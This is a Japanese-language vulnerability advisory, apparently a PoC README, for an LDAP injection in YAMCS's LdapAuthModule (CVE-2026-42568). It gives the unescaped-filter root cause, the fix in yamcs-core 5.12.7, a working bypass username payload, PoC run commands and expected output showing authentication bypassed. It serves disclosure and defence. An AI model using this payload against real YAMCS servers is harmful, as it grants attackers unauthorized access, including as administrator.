
LDAPインジェクションの脆弱性がorg.yamcs.security.LdapAuthModuleに存在します。ユーザー名パラメータがRFC 4515エスケープなしで直接LDAP検索フィルタに挿入され、認証バイパスが可能になります。
| フィールド | 値 |
|---|
| CVE | CVE-2026-42568 |
| 深刻度 | MEDIUM |
| CWE | CWE-90: LDAPクエリにおける特殊要素の不適切な無効化 |
| 影響を受けるバージョン | yamcs-core < 5.12.7(LDAP認証が設定されている場合) |
| 修正バージョン | yamcs-core 5.12.7 |
| アドバイザリ | GHSA-cqh3-jg8p-336j |
根本原因 (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
典型的な userFilter が (uid={0}) の場合、悪意あるユーザー名によりフィルター構造が破壊されます。
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
pip install requests
python3 poc.py http://localhost:8090
脆弱なインスタンスで期待される出力(LDAPが設定されている場合):
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
注記: この脆弱性は
LdapAuthModuleが設定されているYAMCSインスタンスにのみ影響します。デフォルトのインストールで組み込み認証を使用している場合は影響を受けません。
LDAP認証が設定されている場合、認証されていない攻撃者がYAMCSサーバに到達可能であれば、認証を完全にバイパスし、管理者を含む任意のユーザーとしてアクセスを得ることができます。
yamcs-core >= 5.12.7 にアップグレードしてください。
修正では、LDAPフィルターを構築する前にユーザー名にRFC 4515エスケープを適用します。
| 日付 | イベント |
|---|---|
| 2026-05 | 脆弱性が報告される |
| 2026-05-26 | 修正がyamcs-core 5.12.7でリリースされる |
| 2026-05-26 | 公開アドバイザリが公開される |
Daniel Miranda Barcelona (Excal1bur)